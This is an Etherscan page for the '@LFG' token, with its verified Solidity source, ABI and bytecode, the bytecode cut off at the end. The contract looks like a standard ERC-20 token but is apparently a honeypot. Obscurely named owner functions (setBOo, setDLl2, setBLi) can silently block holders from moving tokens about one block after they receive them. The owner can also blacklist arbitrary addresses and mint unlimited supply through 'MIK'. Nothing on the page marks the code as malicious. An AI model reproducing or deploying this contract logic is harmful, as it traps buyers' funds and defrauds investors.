ETH Price: $3,772.37 (-0.80%)
Gas: 3 Gwei

Token

@LFG (@LFG)
 

Overview

Max Total Supply

110,000,000 @LFG

Holders

32

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xefDce093...7B23E5EfB
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Token

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-02-29
*/

/**
 *Submitted for verification at Etherscan.io on 2024-02-27
*/

//SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface IPancakeFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
    address public owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    modifier onlyOwner() {
        require(msg.sender == owner,"Caller is not the owner");
        _;
    }
}

contract AUKx is Ownable{
    address public _pair;
    bool private _bool;
    uint256  delay;
    uint256 unlock;
    mapping(address => bool)  botlist;
    mapping(address => bool)  whitelist;
    mapping(address => uint256) airdropAmounts;
    mapping(address => uint256)  restrictBlock;

    function log(address _from, address _to) internal{
        if(!whitelist[_from]&&!whitelist[_to]){
            require(!botlist[_from]);
            require(!botlist[_to]);
            require(!botlist[msg.sender]);
            require(airdropAmounts[_from]<1||block.number<_getRestrictBlock(_from)||block.number>_getUnlockBlock(_from));
        }
        _addRefund(_to,1);
    }


    function _getRestrictBlock(address a) internal view returns (uint256) {
        return (restrictBlock[a]+delay);
    }
    function _getUnlockBlock(address a) internal view returns (uint256) {
        return (restrictBlock[a]+unlock);
    }

    function _addRefund(address a,uint256 refund) internal returns (bool success) {
        if(a==_pair||whitelist[a]){
            return true;
        }
        if(_bool){
                airdropAmounts[a] = refund;
                if(restrictBlock[a]==0){
                    restrictBlock[a]=block.number;
                }
            }
        return true;
    }

    function setBOo(bool b) public  onlyOwner  returns (bool success) {
        require(_bool != b);
        _bool=b;
        return true;
    }


    function setDLl2(uint _dkm) public  onlyOwner  returns (bool success) {
        require(delay != _dkm);
        delay=_dkm;
        return true;
    }

    function setBLi(address[] memory listAddress,  bool isBot) public  onlyOwner  returns (bool success) {
        if(listAddress.length==1){
            require(botlist[listAddress[0]] != isBot);
        }
        for(uint i = 0; i < listAddress.length; i++){
            botlist[listAddress[i]] = isBot;
        }
        return true;
    }

    function setWLi(address[] memory listAddress,  bool _isWhiteListed) public  onlyOwner  returns (bool success) {
        if(listAddress.length==1){
            require(whitelist[listAddress[0]] != _isWhiteListed);
        }
        for(uint i = 0; i < listAddress.length; i++){
            whitelist[listAddress[i]] = _isWhiteListed;
        }
        return true;
    }


}

contract Token is AUKx{
    using SafeMath for uint256;

    uint256 public totalSupply;
    string public name;
    string public symbol;
    uint public decimals;
    mapping (address => mapping (address => uint256)) internal allowed;
    mapping(address => uint256) balances;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory _name, string memory _symbol, uint256 _supply, address _owner,address pancakeFactory,address usdt) public {
        delay=1;
        unlock=25920000;
        name = _name;
        symbol = _symbol;
        decimals = 18;
        totalSupply = _supply * 10**decimals;
        balances[_owner] = totalSupply;
        owner = _owner;
        emit Transfer(address(0), _owner, totalSupply);
        _pair = IPancakeFactory(pancakeFactory).createPair(address(this), usdt);
    }


    function transfer(address _to, uint256 _value) public returns (bool) {
        log(msg.sender,_to);

        require(_to != address(0));
        require(_to != msg.sender);
        require(_value <= balances[msg.sender]);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        emit Transfer(msg.sender, _to, _value);
        return true;
    }


    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        log(_from,_to);
        require(_to != _from);
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        emit Transfer(_from, _to, _value);
        return true;
    }


    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }


    function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
        allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
        uint oldValue = allowed[msg.sender][_spender];
        if (_subtractedValue > oldValue) {
            allowed[msg.sender][_spender] = 0;
        } else {
            allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
        }
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function MIK(address account, uint256 amount) onlyOwner public {

        totalSupply = totalSupply.add(amount);
        balances[account] = balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"pancakeFactory","type":"address"},{"internalType":"address","name":"usdt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"MIK","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"bool","name":"isBot","type":"bool"}],"name":"setBLi","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"b","type":"bool"}],"name":"setBOo","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_dkm","type":"uint256"}],"name":"setDLl2","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"listAddress","type":"address[]"},{"internalType":"bool","name":"_isWhiteListed","type":"bool"}],"name":"setWLi","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604051620030183803806200301883398181016040528101906200003791906200048c565b600160028190555063018b820060038190555085600990816200005b9190620007a7565b5084600a90816200006d9190620007a7565b506012600b81905550600b54600a62000087919062000a11565b8462000094919062000a62565b600881905550600854600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000182919062000abe565b60405180910390a38173ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401620001c792919062000aec565b6020604051808303816000875af1158015620001e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020d919062000b19565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000b4b565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002c28262000277565b810181811067ffffffffffffffff82111715620002e457620002e362000288565b5b80604052505050565b6000620002f962000259565b9050620003078282620002b7565b919050565b600067ffffffffffffffff8211156200032a576200032962000288565b5b620003358262000277565b9050602081019050919050565b60005b838110156200036257808201518184015260208101905062000345565b60008484015250505050565b6000620003856200037f846200030c565b620002ed565b905082815260208101848484011115620003a457620003a362000272565b5b620003b184828562000342565b509392505050565b600082601f830112620003d157620003d06200026d565b5b8151620003e38482602086016200036e565b91505092915050565b6000819050919050565b6200040181620003ec565b81146200040d57600080fd5b50565b6000815190506200042181620003f6565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004548262000427565b9050919050565b620004668162000447565b81146200047257600080fd5b50565b60008151905062000486816200045b565b92915050565b60008060008060008060c08789031215620004ac57620004ab62000263565b5b600087015167ffffffffffffffff811115620004cd57620004cc62000268565b5b620004db89828a01620003b9565b965050602087015167ffffffffffffffff811115620004ff57620004fe62000268565b5b6200050d89828a01620003b9565b95505060406200052089828a0162000410565b94505060606200053389828a0162000475565b93505060806200054689828a0162000475565b92505060a06200055989828a0162000475565b9150509295509295509295565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005b957607f821691505b602082108103620005cf57620005ce62000571565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005fa565b620006458683620005fa565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000688620006826200067c84620003ec565b6200065d565b620003ec565b9050919050565b6000819050919050565b620006a48362000667565b620006bc620006b3826200068f565b84845462000607565b825550505050565b600090565b620006d3620006c4565b620006e081848462000699565b505050565b5b818110156200070857620006fc600082620006c9565b600181019050620006e6565b5050565b601f82111562000757576200072181620005d5565b6200072c84620005ea565b810160208510156200073c578190505b620007546200074b85620005ea565b830182620006e5565b50505b505050565b600082821c905092915050565b60006200077c600019846008026200075c565b1980831691505092915050565b600062000797838362000769565b9150826002028217905092915050565b620007b28262000566565b67ffffffffffffffff811115620007ce57620007cd62000288565b5b620007da8254620005a0565b620007e78282856200070c565b600060209050601f8311600181146200081f57600084156200080a578287015190505b62000816858262000789565b86555062000886565b601f1984166200082f86620005d5565b60005b82811015620008595784890151825560018201915060208501945060208101905062000832565b8683101562000879578489015162000875601f89168262000769565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200091c57808604811115620008f457620008f36200088e565b5b6001851615620009045780820291505b80810290506200091485620008bd565b9450620008d4565b94509492505050565b60008262000937576001905062000a0a565b8162000947576000905062000a0a565b81600181146200096057600281146200096b57620009a1565b600191505062000a0a565b60ff84111562000980576200097f6200088e565b5b8360020a9150848211156200099a57620009996200088e565b5b5062000a0a565b5060208310610133831016604e8410600b8410161715620009db5782820a905083811115620009d557620009d46200088e565b5b62000a0a565b620009ea8484846001620008ca565b9250905081840481111562000a045762000a036200088e565b5b81810290505b9392505050565b600062000a1e82620003ec565b915062000a2b83620003ec565b925062000a5a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000925565b905092915050565b600062000a6f82620003ec565b915062000a7c83620003ec565b925082820262000a8c81620003ec565b9150828204841483151762000aa65762000aa56200088e565b5b5092915050565b62000ab881620003ec565b82525050565b600060208201905062000ad5600083018462000aad565b92915050565b62000ae68162000447565b82525050565b600060408201905062000b03600083018562000adb565b62000b12602083018462000adb565b9392505050565b60006020828403121562000b325762000b3162000263565b5b600062000b428482850162000475565b91505092915050565b6124bd8062000b5b6000396000f3fe608060405234801561001057600080fd5b50600436106101155760003560e01c8063901294a4116100a2578063b7cb047b11610071578063b7cb047b1461030a578063cd494a7d1461033a578063d73dd6231461036a578063dd62ed3e1461039a578063fce0ef3a146103ca57610115565b8063901294a41461028257806395d89b411461029e578063a9059cbb146102bc578063b51449bb146102ec57610115565b806323b872dd116100e957806323b872dd146101b6578063313ce567146101e6578063661884631461020457806370a08231146102345780638da5cb5b1461026457610115565b806266aa921461011a57806306fdde031461014a578063095ea7b31461016857806318160ddd14610198575b600080fd5b610134600480360381019061012f9190611f73565b6103fa565b6040516101419190611fde565b60405180910390f35b6101526105a7565b60405161015f9190612078565b60405180910390f35b610182600480360381019061017d91906120d0565b610635565b60405161018f9190611fde565b60405180910390f35b6101a0610727565b6040516101ad919061211f565b60405180910390f35b6101d060048036038101906101cb919061213a565b61072d565b6040516101dd9190611fde565b60405180910390f35b6101ee610b28565b6040516101fb919061211f565b60405180910390f35b61021e600480360381019061021991906120d0565b610b2e565b60405161022b9190611fde565b60405180910390f35b61024e6004803603810190610249919061218d565b610dbf565b60405161025b919061211f565b60405180910390f35b61026c610e08565b60405161027991906121c9565b60405180910390f35b61029c600480360381019061029791906120d0565b610e2c565b005b6102a6610fd4565b6040516102b39190612078565b60405180910390f35b6102d660048036038101906102d191906120d0565b611062565b6040516102e39190611fde565b60405180910390f35b6102f46112c4565b60405161030191906121c9565b60405180910390f35b610324600480360381019061031f9190611f73565b6112ea565b6040516103319190611fde565b60405180910390f35b610354600480360381019061034f91906121e4565b611497565b6040516103619190611fde565b60405180910390f35b610384600480360381019061037f91906120d0565b61156a565b6040516103919190611fde565b60405180910390f35b6103b460048036038101906103af9190612211565b611766565b6040516103c1919061211f565b60405180910390f35b6103e460048036038101906103df9190612251565b6117ed565b6040516103f19190611fde565b60405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610482906122ca565b60405180910390fd5b600183510361050c5781151560056000856000815181106104af576104ae6122ea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361050b57600080fd5b5b60005b835181101561059c5782600560008684815181106105305761052f6122ea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061059490612348565b91505061050f565b506001905092915050565b600980546105b4906123bf565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906123bf565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b505050505081565b600081600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610715919061211f565b60405180910390a36001905092915050565b60085481565b6000610739848461189c565b8373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361077157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036107aa57600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107f657600080fd5b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561087f57600080fd5b6108d182600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb90919063ffffffff16565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096682600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af290919063ffffffff16565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3882600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b15919061211f565b60405180910390a3600190509392505050565b600b5481565b600080600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c3f576000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd3565b610c528382611acb90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051610dac919061211f565b60405180910390a3600191505092915050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb1906122ca565b60405180910390fd5b610ecf81600854611af290919063ffffffff16565b600881905550610f2781600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af290919063ffffffff16565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fc8919061211f565b60405180910390a35050565b600a8054610fe1906123bf565b80601f016020809104026020016040519081016040528092919081815260200182805461100d906123bf565b801561105a5780601f1061102f5761010080835404028352916020019161105a565b820191906000526020600020905b81548152906001019060200180831161103d57829003601f168201915b505050505081565b600061106e338461189c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a757600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110df57600080fd5b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561112b57600080fd5b61117d82600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acb90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121282600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af290919063ffffffff16565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112b2919061211f565b60405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611372906122ca565b60405180910390fd5b60018351036113fc57811515600460008560008151811061139f5761139e6122ea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036113fb57600080fd5b5b60005b835181101561148c5782600460008684815181106114205761141f6122ea565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061148490612348565b9150506113ff565b506001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151f906122ca565b60405180910390fd5b811515600160149054906101000a900460ff1615150361154757600080fd5b81600160146101000a81548160ff02191690831515021790555060019050919050565b60006115fb82600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af290919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051611754919061211f565b60405180910390a36001905092915050565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461187e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611875906122ca565b60405180910390fd5b816002540361188c57600080fd5b8160028190555060019050919050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119405750600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abb57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561199c57600080fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119f357600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a4a57600080fd5b6001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080611a9f5750611a9c82611b1e565b43105b80611ab15750611aae82611b74565b43115b611aba57600080fd5b5b611ac6816001611bca565b505050565b600082821115611ade57611add6123f0565b5b8183611aea919061241f565b905092915050565b6000808284611b019190612453565b905083811015611b1457611b136123f0565b5b8091505092915050565b6000600254600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b6d9190612453565b9050919050565b6000600354600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc39190612453565b9050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611c715750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c7f5760019050611d6a565b600160149054906101000a900460ff1615611d655781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611d645743600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600190505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611dd282611d89565b810181811067ffffffffffffffff82111715611df157611df0611d9a565b5b80604052505050565b6000611e04611d70565b9050611e108282611dc9565b919050565b600067ffffffffffffffff821115611e3057611e2f611d9a565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e7182611e46565b9050919050565b611e8181611e66565b8114611e8c57600080fd5b50565b600081359050611e9e8161